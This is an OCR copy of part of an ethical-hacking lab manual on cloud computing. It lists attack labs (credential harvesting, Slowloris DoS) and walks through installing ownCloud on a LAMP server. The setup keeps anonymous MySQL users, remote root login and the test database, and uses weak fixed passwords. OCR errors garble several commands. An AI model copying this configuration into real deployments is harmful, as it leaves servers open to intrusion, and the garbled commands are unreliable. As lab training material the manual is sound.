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Module 19 - Cloud Computing

Cloud Computing

Clond computing is Internet-based computing in which large groups of remote
servers are networked to allow sharing of data-processing tasks, centralized data
storage, and online access to computer services or resonrces.

Lab Scenario

Cloud computing is an emerging technology that delivers computing services such as
online business applications, online data storage, and webmail over the Internet. Cloud
implementation enables distributed workforce, reduces organization expenses,
provides data security, etc. As many enterprises are adopting cloud services, attackers
make clouds their targets of exploits to gain unauthorized access to valuable data
stored in them. Therefore, it is essential to perform cloud pen testing regulatly to
monitor its security posture.

Security Administrators claim that clouds are more vulnerable to DoS assaults,
because they have numerous individuals or clients, making DoS assaults potentially
very harmful. Because of the high workload on a flooded setvice, it will attempt to
provide more computational power (mote virtual machines, more service instances)
to cope, and will eventually fail.

In this way, cloud systems try to wotk against attackers by providing more
computational power; however, they inadvertently aid the attacker by enabling the
most significant possible damage to the service’s availability—a process that all started
from a single flooding-attack entry point. Thus, attackers need not flood all servers
that provide a particular service, but merely flood a single, cloud-based address to the
service unavailable. Thus, adequate security is vital in this context, because cloud-
computing setvices are based on sharing,

As an expert ethical hacker and penetration tester, you must have sound knowledge
of how to develop a cloud server and which cloud setvice you need to enforce,

depending on the type of organization.
Lab Objectives
The objective of this lab is to help students to build a cloud server, secure it with
OpenSSL Encryption, and exploit java vulnerability to harvest user credentials.
In this lab, you will:

=  Build a cloud servet,

= Secute it with OpenSSL Enctyption

= Perform Java Applet attack in attempt to harvest the user credentials

® Perform Security Assessment on a Cloud Server
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Module 19 - Cloud Computing

Lab Environment
To complete this lab, you will need:
= A computer running Windows Server 2012 as Virtual machine
= A computer running Windows 10 as Virtual machine
® A computer running Kali Linux as Virtual machine
= A computer running Ubuntu as Virtual machine
= A web browser with Internet access

= Administrative privileges to run tools
Lab Duration

Time: 60 Minutes

Overview of Cloud Computing

Cloud computing is an on-demand delivery of IT capabilities in which IT
infrastructure and applications are provided to subscribers as metered services over a
network. Cloud services are classified into three categoties namely infrastructure-as-a-

service (IaaS), platform-as-a-service (PaaS), and software-as-a-service (SaaS), which
offer different techniques for developing a cloud.

H rask 1 Lab Tasks

Overview Recommended labs to assist you in Cloud Computing:

® Buildinga Cloud using ownCloud and LAMPServer

= Securing ownCloud from Malicious File Uploads using ClamAV

= Bypassing ownCloud AV and Hacking the Host using Kali Linux

= Implementing DoS Attack on Linux Cloud Server using Slowloris Script

Lab Analysis
Analyze and document the results related to this lab exercise. Provide your opinion
on target’s secufity posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
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Module 19 - Cloud Computing

Building a Cloud using ownCloud
and LAMPServer

Clond servers are those built, hosted, and delivered through a downd computing
environment.

Lab Scenario

OwnCloud is an open-source application used to sync documents and provides
tools to users, as well as substantial undertakings and administration suppliers
working. OwnCloud gives protected, secure, and consistent record
synchronization, and imparting arrangement on servers that you control.

As an expert Security Professional and Penetration Tester, you should possess
knowledge of building a cloud setver, creating user accounts, and assigning user
rights to each of them in accessing files and directories. You also need to know
about sharing files online and offline using ownCloud Desktop Client.

Lab Objectives

The objective of this lab is to help students learn how to build a cloud setver.
In this lab, you will learn to:
®  Build a server using ownCloud
= Create users and assign user rights
=  Share files and directories both online and offline using ownCloud Desktop
Client application

Lab Environment

To carry out the lab, you need:

*  ownCloud located at ZACEH-Tools\CEHv10 Module 19 Cloud
ComputinglownCloud

= ownCloud Desktop Client located at Z:\CEH-Tools\CEHv10 Module 19
Cloud Computing\ownCloud Desktop Client
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Module 19 - Cloud Computing

= The latest version of ownCloud and ownCloud Desktop Client can be
downloaded from http://owncloud.org/install

= If you decide to download the latest version, screenshots and steps might
differ in your lab environment.

= An Ubuntu virtual machine

= A Windows Server 2012 virtual machine

= A Windows 10 virtual machine

=  Administrative privileges to run the tool

= A web browser with Internet access in the machines
= Run this lab on Ubuntu machine

Lab Duration
Time: 20 Minutes

Overview of a Cloud Server

Cloud setvers are also known as virtual dedicated servers (VDS), and they possess
similar capabilities and functionality to a typical server. However, they are accessed
remotely from a cloud setvice provider.

Lab Tasks
Note: Make sure that all the cookies are deleted in the browser in which you will be

B rask 1

hosting ownCloud.
Install Lamp S R 2 :
Server and 1. Login to Ubuntu virtual machine and open a terminal.
ownCloud 2. In the terminal window, type sudo su and hit Enter. Ubuntu will ask for
your account password, type the password (here toor) and hit Enter.
Note: You will not be able to see the password input.
root@ubuntu: /home/ubuntu
buntu@ubuntu:~$ sudo su
sudo] password for ubuntu:
oot@ubuntu: /home/ubuntu#
FIGURE 1.1: Gaining super user access
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Module 19 - Cloud Computing

3. Now before installing ownCloud, make sure that your ubuntu machine has
the latest updates. To update your Ubuntu machine, in the terminal window,
type apt-get update and hit Enter.

root@ubuntu: /home/ubuntu

buntu@ubuntu:~$ sudo su
sudo] password for ubuntu:
oot@ubuntu: /home fubuntu# apt-get update

/security.ubuntu.com/ubuntu xenial-security InRelease
Jus.archive.ubuntu.com/ubuntu xenial InRelease
Jus.archive.ubuntu.com/ubuntu xenial-updates InRelease
s.archive.ubuntu.com/ubuntu xenial-backports InRelease
Reading pac lists... 11%

FIGURE 12: Updating Ubuntu

4. A message comes in the terminal window saying Do you want to
continue? type Y had hit Enter.

root@ubuntu: /home/ubuntu

tcpd is already the newest version (7.6.q9-25)

ibper15.22 is already the newest version (5.22.1-9ubuntu®.2).

perl is already the newest version (5.22.1-9ubuntu6.2).

erl-modules-5.22 is already the newest version (5.22.1-9ubuntu®.2)

The following packages were automatically installed and are no longer req
linux-headers-4.10.0-28 linux-headers-4.10.0-28-generic
1inux-image-4.10.0-28-generic linux-image-extra-4.10.0-28-generic

Jse 'sudo apt autoremove' to remove them.

rhe following additional packages will be installed:
libevent-core-2.0-5

uggested packages:
apache2-doc apache2-suexec-pristine | apache2-suexec-custom php-pear
1ibipc-sharedcache-perl mailx tinyca

The following NEW packages will be installed:
apache2 apache2-bin apache2-data apache2-utils libaiol libapache2-mod-php
libapache2-mod-php7.0 libapr1 libaprutill libaprutili-dbd-sqlite3
libaprutili-ldap libevent-core-2.6-5 libhtml-template-perl liblua5.1-0
mysql-client-5.7 mysql-client-core-5.7 mysql-common mysql-server
mysql-server-5.7 mysql-server-core-5.7 php-common php-mysql php7.0-cli
php7.0-common php7.8-json php7.8-mysql php7.0-opcache php7.0-readline

9 upgraded, 28 newly installed, @ to remove and 159 not upgraded.

\eed to get 23.7 MB of archives.

\fter this operation, 181 MB of additional disk space will be used.

)o you want to continue? [Y/n] Yl

FIGURE 1.3: Updating Ubuntu

5. Wait for the updates to finish, then in the terminal window, type apt-
get install lamp-server” and hit Enter.

root@ubuntu: /home/ubuntu

oot@ubuntu: /home/ubuntu# apt-get install lamp-server~f]

FIGURE 1.4: Installing lamp server

6. A pop-up appears asking for a password, type toor and click <ok>.
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Module 19 -Cloud Computing

7. A subsequent pop-up appears asking to repeat the password, type toor
and click <ok>.

root@ubuntu: /home/ubuntu

ackage configuration

1 Configuring mysgl-server-5.7 |
while not mandatory, it is highly recommended that you set a password
for the MySQL administrative "root" user.

If this field is left blank, the password will not be changed.

New password for the MysQL "root" user:

root@ubuntu: /home/ubuntu
ackage configuration

Configuring mysql-server-5.7

Repeat password for the MySQL "root" user:

R e

FIGURE 1.5: Input root user password

8. Wiait for the installation to finish, and in the terminal window type apt-
get install libapache2-mod-php7.0 php7.0-mbstring php7.0-curl
php7.0-zip php7.0-gd php7.0-mysql php7.0-mcrypt and hit Enter.

root@ubuntu: /home/ubuntu

pot@ubuntu: /home /ubuntu# apt-get install libapache2-mod-php7.0 php7.0-mbstring
ohp7.0-curl php7.0-zip php7.0-gd php7.8-mysql php7.0-mcrypt

FIGURE 1.6: Install php dependencics

9. After the installation is finished, type apt-get install php-xml and hit
Enter.

root@ubuntu: /home/ubuntu

oot@ubuntu: /home/ubuntu# apt-get install php-xml

FIGURE 1.7: Install php dependencies

CEH Lab Manual Page 1370 Ethical Hacking and Countermeasures Copyright © by EC-Ceuncll
All Rights Reserved. Reproduction is Strictly Prohibited.




Module 19 - Cloud Computing

10. During installation, a message appears asking if you want to continue,
type Y and hit Enter to proceed.

root@ubuntu: /home/ubuntu

oot@ubuntu: /home/ubuntu# apt-get install php-xml
Reading package lists... Done
3uilding dependency tree
eading state information... Done
The following packages were automatically installed and are no longer required:
linux-headers-4.10.0-28 linux-headers-4.10.0-28-generic
linux-image-4.10.0-28-generic linux-image-extra-4.10.6-28-generic
Jse 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
php7.0-xml
The following NEW packages will be installed:
php-xml php7.08-xml
) upgraded, 2 newly installed, @ to remove and 159 not upgraded.
leed to get 114 kB of archives.
\fter this operation, 496 kB of additional disk space will be used.
)o you want to continue? [Y/n] V]I

FIGURE 1.8: Install PHP dependencies

11. Now we will install ownCloud on the Ubuntu machine. First, we obtain
the latest release key from ownCloud’s website. To do that, in the
terminal window, type wget -nv
https://download.owncloud.org/download/repositories/production/Ub
untu_16.04/Release.key -O Release.key and hit Enter.

root@ubuntu: /home/ubuntu

oot@ubuntu: /home /ubuntu# wget -nv https://download.owncloud.org/download/reposi
tories/production/Ubuntu_16.084/Release.key -0 Release.keyl]

FIGURE 1.9: Installing ownCloud

12. Next, type apt-key add - < Release.key and hit Enter. You will get an
OK message if the key is added successfully.

) root@ubuntu: /home/ubuntu

oot@ubuntu: /home fubuntu# wget -nv https://download.owncloud.org/download/reposi
tories/production/Ubuntu_16.04/Release.key -0 Release.key

?018-01-15 20:55:52 URL:https://download.owncloud.org/download/repositories/prod
sction/Ubuntu_16.04 /Release.key [4562/4502] -> "Release.key"” [1]

oot@ubuntu: /home/ubuntu# apt-key add - < Release.key

K

~oot@ubuntu: /home /ubuntu#

FIGURE 1.10: Installing ownCloud
13. Now type echo ‘deb
http/d load loud.org/download/repositories/production/Ubu
ntu_16.04/ P > Jetc/apt/ ces.list.d/o loud.list and hit Enter. This
will add the ownCloud sources to the sources.list file on the Ubuntu
machine.

root@ubuntu: /home/ubuntu
oot@ubuntu: /home/ubuntu# echo 'deb http://download.owncloud.org/download/reposi

tories/production/Ubuntu_16.04/ /' > [etc/apt/sources.list.d/owncloud.list]]

FIGURE 1.11: Installing ownCloud
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14. Next, we shall update the Ubuntu machine once more. Type apt-get
update and hit Enter.

root@ubuntu: /home/ubuntu

oot@ubuntu: /home /ubuntu# apt-get upddlel

FIGURE 1.12: Installing ownCloud

15. To install the ownCloud files, type apt-get install owncloud-files and hit
Enter.

root@ubuntu: /home/ubuntu

root@ubuntu: /home/ubuntu# apt-get install owncloud-files]]

FIGURE 1.13: Installing ownCloud

16. Now to move the ownCloud folder into HTMIL, type mv
Ivar/wwwiowncloud /var/www/html and hit Enter.

17. Next to change the ownership of data present in the folder, type chown -R
www-data:www-data var/www/html/owncloud and hit Enter.

root@ubuntu: /home/ubuntu
oot@ubuntu: /home /ubuntu# mv /var /www/owncloud /var/www/html

oot@ubuntu: /home/ubuntu# chown -R www-data:www-data /var/www/html/owncloud

Hrtask 2

Editing Privileges
in MySQL

~oot@ubuntu: /home fubuntu#
FIGURE 1.14: Setting Permissions
18. Next to secute your mysql installation, in the terminal window type
mysql_secure_installation and hit Enter. You will be asked for the
user password, type the password (here toor) and hit Enter.
Note: You will not be able to see the password input.

root@ubuntu: /home/ubuntu
oot@ubuntu: /home /ubuntu# mysql_secure_installation

Ssecuring the MysSQL server deployment.

nter password for user root: [I

FIGURE 1.15: Securing the MySQL installation
19. A message comes asking to setup validate password plugin. Type ¥ and
hit Enter.

root@ubuntu: /home/ubuntu
root@ubuntu: /home/ubuntu# mysql_secure_installation
Securing the MySQL server deployment.
Enter password for user root:
VALIDATE PASSWORD PLUGIN can be used to test passwords
and improve security. It checks the strength of password

ind allows the users to set only those passwords which are
secure enough. Would you like to setup VALIDATE PASSWORD plugin?

Press y|Y for Yes, any other key for No: Y|}

FIGURE 1.16: Securing the MySQL installation
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Module 19 - Cloud Computing

20. Next, you will be asked to set the level of password validation policy, here
we type 0 (level LOW) and hit Enter.

root@ubuntu: /home/ubuntu
oot@ubuntu: /home/ubuntu# mysql_secure_installation

securing the MySQL server deployment.

=nter password for user root:

JALIDATE PASSWORD PLUGIN can be used to test passwords

ind improve security. It checks the strength of password

and allows the users to set only those passwords which are
secure enough. Would you like to setup VALIDATE PASSWORD plugin?

'ress y|Y for Yes, any other key for No: Y
There are three levels of password validation policy:

_OW Length >= 8

{EDIUM Length >= 8, numeric, mixed case, and special characters

TRONG Length >= 8, numeric, mixed case, special characters and dictionary
file

lease enter ® = LOW, 1 = MEDIUM and 2 = STRONG: ©
FIGURE 1.17: Selecting level of password validation policy

21. Next, you will be asked if you want to change the password for root, type
No and hit Enter.

root@ubuntu: /home/ubuntu

securing the MysQL server deployment.

nter password for user root:

/ALIDATE PASSWORD PLUGIN can be used to test passwords

and improve security. It checks the strength of password

and allows the users to set only those passwords which are

ecure enough. Would you like to setup VALIDATE PASSWORD plugin?

‘ress y|Y for Yes, any other key for No: Y

There are three levels of password validation policy:

_OW Length >= 8

{EDIUM Length >= 8, numeric, mixed case, and special characters

TRONG Length >= 8, numeric, mixed case, special characters and dictiona
file

'lease enter © = LOW, 1 = MEDIUM and 2 = STRONG: ©
Jsing existing password for root.

cstimated strength of the password: 25
~hanae the password for root ? ((Press v|Y for Yes, anv other kev for No) : Noll

FIGURE 1.18: Securing the MySQL installation
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22. Remove anonymous users? Message appears, type No and hit Enter.

root@ubuntu: /home/ubuntu
Press y|Y for Yes, any other key for No: Y

There are three levels of password validation policy:

oW Length 8

{EDIUM Length 8, numeric, mixed case, and special characters

,TRONG Length 8, numeric, mixed case, special characters and dictionary
file

Please ent e LOW, 1 = MEDIUM and 2 = STRONG: ©
Jsing existing password for root.

cstimated strength of the password: 25
hange the password for root ? ((Press y|Y for Yes, any other key for No) : No

. skipping.

jy default, a MySQL installation has an anonymous user,
allowing anyone to log into MySQL without having to have

3 user account created for them. This is intended only for
esting, and to make the installation go a bit smoother.
You should remove them before moving into a production
>nvironment.

Jemove anonymous users? (Press vlY for Yes, any other key for No) : No“

FIGURE 1.19: Securing the MySQI. installation

23. Disallow root login remotely? Message appears next, type No and hit
Enter.

root@ubuntu: /home/ubuntu

Please enter @ = LOW, 1 = MEDIUM and 2 = STRONG: ©
Jsing existing password for root.

=stimated strength of the password: 25
Change the password for root ? ((Press y|Y for Yes, any other key for No) : No

skipping.
3y default, a MySQL installation has an anonymous user,
11lowing anyone to log into MySQL without having to have
a user account created for them. This is intended only for
testing, and to make the installation go a bit smoother.
You should remove them before moving into a production
:nvironment.

Remove anonymous users? (Press y|Y for Yes, any other key for No) : No

skipping.

lormally, root should only be allowed to connect from
'localhost'. This ensures that someone cannot guess at
the root password from the network.

)‘isallow root login remotely? (Press y|Y for Yes, any other key for No) : Noll

FIGURE 1.20: Securing the MySQL installation
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24. Remove test database and access to it? Message appears, type No and
hit Enter.

root@ubuntu: /home/ubuntu
esting, and to make the installation go a bit smoother.
vou should remove them before moving into a production
environment.
temove anonymous users? (Press y|Y for Yes, any other key for No) : No

skipping.

vormally, root should only be allowed to connect from
'localhost'. This ensures that someone cannot guess at

the root password from the network.
)isallow root login remotely? (Press y|Y for Yes, any other key for No) : No

skipping.
Jy default, MySQL comes with a database named 'test' that
snyone can access. This is also intended only for testing,
and should be removed before moving into a production
2nvironment.

temove test database and access to it? (Press y|Y for Yes, any other key for No)

FIGURE 1.21: Securing the MySQL installation
25. Reload privilege tables now? Message appears, type yes and hit Enter.
root@ubuntu: /home/ubuntu

skipping.

Normally, root should only be allowed to connect from
'localhost'. This ensures that someone cannot guess at
the root password from the network.

Disallow root login remotely? (Press y|Y for Yes, any other key for No) : No

. skipping.
3y default, MysQL comes with a database named 'test' that

anyone can access. This is also intended only for testing,
and should be removed before moving into a production
anvironment.

Remove test database and access to it? (Press y|Y for Yes, any other key for No)
No

... skipping.
teloading the privilege tables will ensure that all changes
nade so far will take effect immediately.

leload privilege tables now? (Press v|Y for Yes, anv other key for No)

FIGURE 1.22: Securing the MySQL installation
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26. Now we shall add a database for ownCloud in the MySQL database.
Start MySQL by typing mysql -u root -p and hit Enter. You are prompted
to enter your password, type in your password (here toor) and hit Enter.

root@ubuntu: /home/ubuntu

root@ubuntu: /home/ubuntu# mysql -u root -p
ter password:
Hrask 3 delcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7
Create MySQL server version: 5.7.20-0ubuntu®.16.84.1 (Ubuntu)

Database

ght (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of thelr respective
owners.

‘help;' or '\h' for help. Type '\c' to clear the current input statement.

FIGURE 1.23: Making a database in MySQI.

27. Now in the MySQL command line, type CREATE DATABASE owncloud;
and hit Enter.

root@ubuntu: /home/ubuntu

oot@ubuntu: /home/ubuntu# mysql -u root -p

nter password:

ielcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7

erver version: 5.7.20-6ubuntu®.16.04.1 (Ubuntu)

opyright (c) 2000, 2017, Oracle and/or its affiliates. ALl rights reserved.
Jracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

nysql> CREATE DATABASE owncloud;||

FIGURE 1.24: Making a database in MySQL
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28. Then to grant privileges, type GRANT ALL PRIVILEGES ON owncloud.*
TO ‘owncloud’@localhost’ IDENTIFIED BY ‘test@123’; and hit Enter.

Note: Here test@123 is the password for the ownCloud admin.

root@ubuntu: /home/ubuntu

oot@ubuntu: /home /ubuntu# mysql -u root -p

nter password:

lelcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7

server version: 5.7.20-8ubuntu®.16.04.1 (Ubuntu)

opyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

dracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
wners.

rType 'help;' or '\h' for help. Type '\c' to clear the current input statement.

nysql> CREATE DATABASE owncloud;
Juery OK, 1 row affected (0.00 sec)

1vsql> GRANT L PRIVILEGES ON owncloud.* TO 'owncloud'@'localhost' IDENTIFIED B
Y 'test@i123’'

FIGURE 1.25: Making a database in MySQL.
29. Next, type FLUSH PRIVILEGES, and hit Enter.

root@ubuntu: /home/ubuntu
root@ubuntu: /home /ubuntu# mysql -u root -p
Enter password:
lelcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7
server version: 5.7.20-8ubuntu®.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
oracle is a registered trademark of Oracle Corporation and/or its
iffiliates. Other names may be trademarks of their respective

owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

1ysql> CREATE DATABASE owncloud;
Juery OK, 1 row affected (0.00 sec)

1ysql> GRANT ALL PRIVILEGES ON owncloud.* TO ncloud'@'localhost' IDENTIFIED B
'test@123';
Query OK, © rows affected, 1 warning (0.00 sec)

mysql> FLUSH PRIVILEGES

FIGURE 1.26: Making a database in MySQL
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30. Finally, type exit and hit Enter.

root@ubuntu: /home/ubuntu

Yyour MySQL connection id is 7
server version: 5.7.20-6ubuntu®.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Jracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or ' for help. Type '\c' to clear the current input statement.

mysql> CREATE DATABASE owncloud;
Juery OK, 1 row affected (0.00 sec)

1ysql> GRANT ALL PRIVILEGES ON owncl .* TO 'owncloud'@'localhost' IDENTIFIED B
'test@123';
Juery OK, @ rows affected, 1 warning (0.00 sec)

1ysql> FLUSH PRIVILEGES;
Juery OK, O rows affected (8.08 sec)

1ysql> exit

jye
oot@ubuntu: /home /ubuntuz

H TASK 4 FIGURE 1.27: Making a database in MySQI.
Configure 31. Now back in the Ubuntu command line, type service apache2 restart
ownCloud and hit Enter.

root@ubuntu: /home/ubuntu

root@ubuntu: /home/ubuntu# service apache2 restart
root@ubuntu: /home /ubuntu# B

FIGURE 1.28: Restart apache service
32. Next, type a2enmod rewrite and hit Enter.

root@ubuntu: /home/ubuntu
root@ubuntu: /home/ubuntu# service apache2 restart
~oot@ubuntu: /home /ubuntu# a2enmod rewrite
fodule rewrite already enabled
oot@ubuntu: /home /ubuntu# l

FIGURE 1.29: rewrite aZenmod
33. Now type touch /etc/apache2/sites-available/owncloud.conf and hit
Enter.

O root@ubuntu: /home/ubuntu
oot@ubuntu: /home fubuntu# touch /etc/apache2/sites-available/owncloud.conf
root@ubuntu: /home /ubuntus

FIGURE 1.30: Configuring ownCloud

34. Next type In -s /etc/apache2/sites-available/owncloud.conf
letc/apache2/sit: bled/owncloud.conf and hit Enter.

root@ubuntu: /home/ubuntu

root@ubuntu: /home /ubuntu# touch /etc/apache2/sites-available/owncloud.conf
root@ubuntu: /home /ubuntu# ln -s /etc/apache2/sites-available/owncloud.conf /etc/

apache2/sites-enabled/owncloud.conf

oot@ubuntu: /home fubuntu#

FIGURE 1.31: Configuring ownCloud

CEH Lab Manual Page 1378 Ethical Hacking and Countermeasures Copyright © by EC-Ceuncll
All Rights Reserved. Reproduction is Strictly Prohibited.



Module 19 - Cloud Computing

35. Now to edit the ownCloud configuration file, type gedit
letc/apache2/sites-available/owncloud.conf and hit Enter.

root@ubuntu: /home/ubuntu

oot@ubuntu: /home/ubuntu# touch /etc/apache2/sites-available/owncloud.conf
oot@ubuntu: /home/ubuntu# ln -s /etc/apache2/sites-available/owncloud.conf Jetc/

spache2 /sites-enabled/owncloud.conf
oot@ubuntu: /home/ubuntu# gedit /etc/apache2/sites-available/owncloud.conflj

FIGURE 1.32: Configuring ownCloud

36. Owncloud.conf file opens in the text editor, type the following in the
file:

<VirtualHost *:80>

ServerAdmin root@ubuntu

DocumentRoot “/var/www/html/owncloud/”
ServerName 10.10.10.9

ServerAlias ubuntu

<Directory “/var/www/html/owncloud/>
Options FollowSymLinks

AllowOverride All

Order allow,deny

allow from all

</Directory>

ErrorLog /var/log/apache2/o loud-error_log

CustomLog /var/log/apache2/owncloud ,_log common
</VirtualHost>

Save and close the file when finished.

Open ¥ Il owncloud.conf

kVitrualHost *:80>

BerverAdmin root@ubuntu

PocumentRoot "/var/www/html/owncloud/"
BerverName 10.10.10.9

BerverAlias ubuntu

kDircetory "/var/www/html/owncloud/">
Pptions FollowSymLinks

AllowOverride All

Drder allow,deny

Bllow from all

k/Directory>

ErrorLog /var [log/apache2/owncloud-error_log
Fustomlog /var/log/apache2/owncloud-access_log common

k /VirtualHost>
n 4
B VASK §: FIGURE 1.33: Configuring ownCloud
Configure Apache 37. Type gedit /etc/apache2/apache2.conf and hit Enter.
Web Server
root@ubuntu: /home/ubuntu
root@ubuntu: /home /ubuntu# gedit /etc/apache2/apache2.conf
FIGURE 1.34: Configuring Apache web server
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38. The apache2.conf file opens in a text editor, comment out
IncludeOptional sites-enabled/*.conf by adding # at the start, as shown
in the screenshot. Then click the Save button and close the file.

The following directives define some format nicknames for use with
a CustomLog directive.

These deviate from the Common Log Format definitions in that they use %0
(the actual bytes sent including headers) instead of %b (the size of the
requested file), because the latter makes it impossible to detect partial
requests.

Note that the use of ¥{X-Forwarded-For}i instead of %h is not recommended.
Use mod_remoteip instead.

ogFormat "¥v:¥%p %h %1 %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%{User-Agent}i\""
host_combined

ogFormat "¥h %1 %u %t \"%r\" %¥>s %0 \"%{Referer}i\" \"%{User-Agent}i\"" combined
ogFormat "%h %1 %u %t \"%r\" %>s %0" common

ogFormat "%{Referer}i -> %U" referer

ogFormat "%{User-agent}i" agent

Include of directories ignores editors' and dpkg's backup files,
see README.Debian for details.

Include generic snippets of statements
ncludeOptional conf-enabled/*.conf

Include the virtual host configurations:
IncludeOptional sites»enablcd/*.conf]

® vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Plain Text v Tab width: 4 ~ Ln 221, Col4s v INS

FIGURE 1.35: Configuring Apache web server

39. Back in the terminal window, type systemctl restart apache2.service
and hit Enter.

root@ubuntu: /home/ubuntu
root@ubuntu: /home /ubuntu# systemctl restart apache2.service

~oot@ubuntu: /home/ubuntu#

FIGURE 1.36: Restart apache service
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Hrask 6

Make ownCloud
Admin Account

Module 19 -Cloud Computing

40. Now open a browser, type localhost/owncloud/index.php as the URL
and hit Enter. OwnCloud page appears, here you will be creating an
admin account. Enter the username and password (here admin and

qwerty@123).

[ & (& [ D localhost, - 9 1,7] » i

oud X

Creats an admin account

FIGURE 1.37: Make ownCloud admin account

41. Scroll down to configure the database section and input the database
details as shown in the screenshot. Then click Finish setup button.

Note: In this lab, the database username and password is root/toor.

£ owncloud

L < C | @/ localhost/s

owncloud

Hythe port numl

host name (e.g.,

Finish setup

1 Need holp? See the documentation »

ownCloud - A

FIGURE 1.38: Make ownCloud admin account
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Module 19 -Cloud Computing

42. You will be redirected to the login page, here enter the user credentials
of the admin account you just created.

Note: In this lab, the username and password is admin/qwerty@123.

3 owncloud X

S C | ® localhost/owncloud)

ownCloud - A

FIGURE 1.39: ownCloud login page
43. After you log in, a pop-up window appears on the webpage. Close the
Pop-ap.

23 Files - ownCloud X

| & (¢} + localhost,

A safe home for all your .
data

Access & share your files, calendars, contacts, mail & more from any device, on
your terms

Get the apps to sync your files

Google Play

FIGURE 1.40: A pop-up window

CEH Lab Manual Page 1382

Ethical Hacking and Countermeasures Copyright © by EC-Ceuncll
All Rights Reserved. Reproduction is Strictly Prohibited.



B TASK 7

Add Users

Module 19 - Cloud Computing

44. ownCloud webpage appears, displaying the directories containing files
as shown in the screenshot:

| ¢ C | @ localhost = Q0 » =

- Documents seconds ago
- Photos seconds ago
ownCloud Manual ) seconds ago

FIGURE 1.41: ownCloud webpage

45. Click admin at the top-right corner of the page and select Users from the
drop-down list.

N Files - ownCloud X

() > ¢

localhost,

- Documents
- Photos seconds ago

ownCloud Manual seconds ago

hcalhosgowndoud[index.ghg{settings/users

FIGURE 1.42 Selecting Users from the drop-down list

46. You will be redirected to the Users webpage. Here, you will be creating
users who will be able to log in to the cloud server and access files.
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Module 19 -Cloud Computing

47. You can either assign a user to a group or assign him/her admin
privileges, by choosing a group or an admin from the drop-down list.

48. Enter a name in the Login Name field and mention a password in the
Password field.

49. Click Create. This command creates a user account so that a user can log
in to the cloud server using the given credentials.

50. In this lab, the user is assigned to Groups, and the username and
password are shane and florida@123.

I Users -ownCloud X

< (&

localhost

admin

FIGURE 1.43: Adding Users

51. The newly ctreated user appears under the list of users, as shown in the
screenshot:

I3 Users -ownCloud X

| & C' | @ localhost S »

b33

= Groups > Create
)
admin admin admin - no group < o
shane shane no group = no groug >

FIGURE 1.44: User added successfully
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E task 8

Share a File
with the User

Module 19 -Cloud Computing

52. Click the menu icon in the top left corner and click Files icon. Here, you
will be creating a new folder and sharing it with shane.

I3 Users -ownCloud X

&« C' | @ localhost o @ 7 P

Create

admin - no group - o

shane shane no group - no group - 0

FIGURE 1.45: Creating a Folder

53. In the files page, click the Add icon and select Folder. As soon as you
click the Folder icon, a text field appears.

2 Files -owncloud X

<« ) localhost,

c

2 ‘

4 minutes ago

- Photos 4 minutes ago

ownCloud Manual 5 4minutes ago

FIGURE 1.46: Renaming the folder
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54. Specify a folder name (here, share) in this field and press Enter.

< C @ localhost o O »

o
W

= 3 +
+ Up
* M shard 4 minutes ago
- Photos 4 minutes ago
ownCloud Manual A 8  4minutes ago

FIGURE 1.47: Renaming the folder

55. The newly created folder appeats on the page. Click on the share folder.

<« C' | @ localhost 9T »

= # +
- Documents 4 minutes ago
- Photos 3 4 minutes ago
- share seconds ago
ownCloud Manual £ 4minutes ago

FIGURE 1.48: Folder Creating successfully

56. Click the Add button and then click the Upload button.

I share-Files -ownCloud X

&« C' | @ localhost,

= L share

2 Upload

o
FIGURE 1.49: Uploading a file
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57. A File Upload window appears; navigate to Z:\CEH-Tools\CEHv10
Module 19 Cloud Computing\Shared Files, select car.jpg, and click
Open.

File Upload
© Recent « [@|sharedFiles | »
@ Home Name ~ Size  Modified carjpg
[ Desktop 1 test.pdf 20 bytes 22:52
D Documents . Carjpg 583.0kB  22:50
: 51 abcmp3 10bytes 22:47
~» Downloads
dd Music
[ Pictures
»m Videos
+ Other Locatio...

All Files ~
Cancel

FIGURE 1.50: Uploading a file

58. The added file appears in the shared folder. Go back to the Files page
and hover the mouse cursor on the folder and click Share icon.

I Files - ownCloud X

< > C' | @ localhost

= # +
- Documents 3hours ago
. Photos g 3hoursago
. share < . 5 2 3hours ago
]
ownCloud Manual . 19MB  3hoursago

FIGURE 1.51: Sharing the file
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59. A right pane appears with sharing information. Type the name of the user
with whom you want to share the file (shane). As you type the username,
a hint is displayed below it. Click on the hint.

ZN Files - ownCloud x

« > c

localhost

m
»
+

Documents

Photos

Sharing

share User and Groups

ownCloud Manual shand i

shane

FIGURE 1.52: Sharing the file

60. The user is selected, and additional sharing options appear as shown in
the screenshot.

2 Files - ownCloud x

€ C

localhost

m
n
+
x

- Documents
- Photos Sharing
share <. User and Groups
ownCloud Manual
shane 5 can share a
% canedt ~
FIGURE 1.53: File shared with a user
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61. A folder named share is created in the shane’s ownCloud account;
whichever file is shared from this admin account is uploaded to this
folder.

62. Minimize the browser window.

63. Now, navigate to the location /var/www/htmlowncloud/config/ and
open the file config.php with Text Editor.

64. Change the php script by replacing localhost with the local ip (here
10.10.10.9) in lines 9 and 12, i.c. 0=> and ‘overwrite.cli.urP =>, as shown
in the screenshot.

65. By changing this script, the ownCloud website can be browsed by all the
other hosts in the network.

66. Click Save from the menu bar and exit the text editor.

Note: You can instead press Ctri+$ to save the file.

config.php

Figure 1.54: Editing the config file

